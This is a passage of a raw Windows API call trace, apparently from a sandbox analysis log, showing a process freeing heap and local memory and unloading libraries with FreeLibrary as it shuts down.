0x0 [0255.932] LocalFree (hMem=0x3f6730) returned 0x0 [0255.932] LocalFree (hMem=0x3f6840) returned 0x0 [0255.932] LocalFree (hMem=0x3f4f10) returned 0x0 [0255.933] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x45fde0 [0255.933] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x3f4f10 [0255.933] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x43fc90 [0255.933] free (_Block=0x6c5a40) [0255.933] free (_Block=0x0) [0255.933] free (_Block=0x6c5a20) [0255.933] free (_Block=0x6c5a60) [0255.933] free (_Block=0x6c5ab0) [0255.933] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x460b10 [0255.934] LocalFree (hMem=0x460b10) returned 0x0 [0255.934] LocalFree (hMem=0x3f6860) returned 0x0 [0255.934] LocalFree (hMem=0x45fde0) returned 0x0 [0255.934] free (_Block=0x6c7c90) [0255.934] GetModuleHandleA (lpModuleName="MSVCRT.DLL") returned 0x7fefddb0000 [0255.934] FreeLibrary (hLibModule=0x7fefddb0000) returned 1 [0255.934] LocalFree (hMem=0x43fc90) returned 0x0 [0255.934] LocalFree (hMem=0x3f4f10) returned 0x0 [0255.935] GlobalHandle (pMem=0x3f61c0) returned 0xb30008 [0255.935] GlobalUnlock (hMem=0xb30008) returned 0 [0255.944] FreeLibrary (hLibModule=0x7fef4a30000) returned 1 [0255.945] FreeLibrary (hLibModule=0x7fef9110000) returned 1 [0255.947] FreeLibrary (hLibModule=0x7fef90e0000) returned 1 [0255.949] FreeLibrary (hLibModule=0x7fef90d0000) returned 1 [0255.950] FreeLibrary (hLibModule=0x7fef8390000) returned 1 [0255.952] FreeLibrary (hLibModule=0x7fef5040000) returned 1 [0255.953] FreeLibrary (hLibModule=0x7fef75c0000) returned 1 [0255.954] FreeLibrary (hLibModule=0x7fef4ba0000) returned 1 [0255.956] FreeLibrary (hLibModule=0x7fef75b0000) returned 1 [0256.010] FreeLibrary (hLibModule=0x7fef75a0000) returned 1 [0256.014] FreeLibrary (hLibModule=0x7fef7590000) returned 1 [0256.016] FreeLibrary (hLibModule=0x7fef4b80000) returned 1 [0256.017] FreeLibrary (hLibModule=0x7fef4940000) returned 1 [0256.025] FreeLibrary (hLibModule=0x7fef4660000) returned 1 [0256.038] FreeLibrary (hLibModule=0x7fef4510000) returned 1 [0256.048] FreeLibrary (hLibModule=0x7fef4b50000) returned 1 [0256.048] FreeLibrary (hLibModule=0x7fef4910000) returned 1 [0256.127] FreeLibrary (hLibModule=0x7fef4830000) returned 1 [0256.128] FreeLibrary (hLibModule=0x7fef43b0000) returned 1 [0256.143] FreeLibrary (hLibModule=0x7fef4200000) returned 1 [0256.147] GetProcessHeap () returned 0x3d0000 [0256.147] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4241a0 | out: hHeap=0x3d0000) returned 1 [0256.147] GetProcessHeap () returned 0x3d0000 [0256.147] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f26f0 | out: hHeap=0x3d0000) returned 1 [0256.147] GetProcessHeap () returned 0x3d0000 [0256.147] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2710 | out: hHeap=0x3d0000) returned 1 [0256.147] GetProcessHeap () returned 0x3d0000 [0256.147] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2730 | out: hHeap=0x3d0000) returned 1 [0256.147] GetProcessHeap () returned 0x3d0000 [0256.147] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2750 | out: hHeap=0x3d0000) returned 1 [0256.147] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2770 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2790 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f27e0 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2800 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2820 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2840 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2860 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2880 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f28a0 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f28c0 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f28e0 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2900 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2920 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2940 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2960 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2980 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f29a0 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f29c0 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f29e0 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.148] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2a00 | out: hHeap=0x3d0000) returned 1 [0256.148] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2a20 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2a40 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2a60 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2a80 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2aa0 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2ac0 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2ae0 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2b00 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2b20 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2b40 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2b60 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2b80 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2ba0 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2bc0 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2be0 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2c00 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2c20 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2c40 | out: hHeap=0x3d0000) returned 1 [0256.149] GetProcessHeap () returned 0x3d0000 [0256.149] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2c60 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2c80 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2ca0 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2cc0 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2ce0 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2d00 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2d20 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2d40 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2d60 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2d80 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2da0 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2dc0 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2de0 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2e00 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2e20 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2e40 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2e60 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2e80 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.150] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2ea0 | out: hHeap=0x3d0000) returned 1 [0256.150] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2ec0 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2ee0 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2f00 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2f20 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2f40 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2f60 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2f80 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f2fe0 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3000 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3020 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3040 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3060 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3080 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f30a0 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f30c0 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f30e0 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3100 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3120 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3140 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3160 | out: hHeap=0x3d0000) returned 1 [0256.151] GetProcessHeap () returned 0x3d0000 [0256.151] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3180 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f31a0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f31c0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f31e0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3200 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3220 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3240 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3260 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3280 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f32a0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f32c0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f32e0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3300 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3320 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3340 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3360 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3380 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f33a0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f33c0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f33e0 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3400 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.152] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3420 | out: hHeap=0x3d0000) returned 1 [0256.152] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3440 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3460 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3480 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f34a0 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f34c0 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f34e0 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3500 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3520 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3540 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3560 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3580 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f35a0 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f35c0 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f35e0 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3600 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3620 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3640 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3660 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3680 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f36a0 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f36c0 | out: hHeap=0x3d0000) returned 1 [0256.153] GetProcessHeap () returned 0x3d0000 [0256.153] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f36e0 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3700 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3720 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3740 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3760 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3780 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f37e0 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3800 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3820 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3840 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3860 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3880 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f38a0 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f38c0 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f38e0 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3900 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3920 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3940 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3960 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.154] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f3980 | out: hHeap=0x3d0000) returned 1 [0256.154] GetProcessHeap () returned 0x3d0000 [0256.155] HeapFree (in: hHeap=0x3d0000, 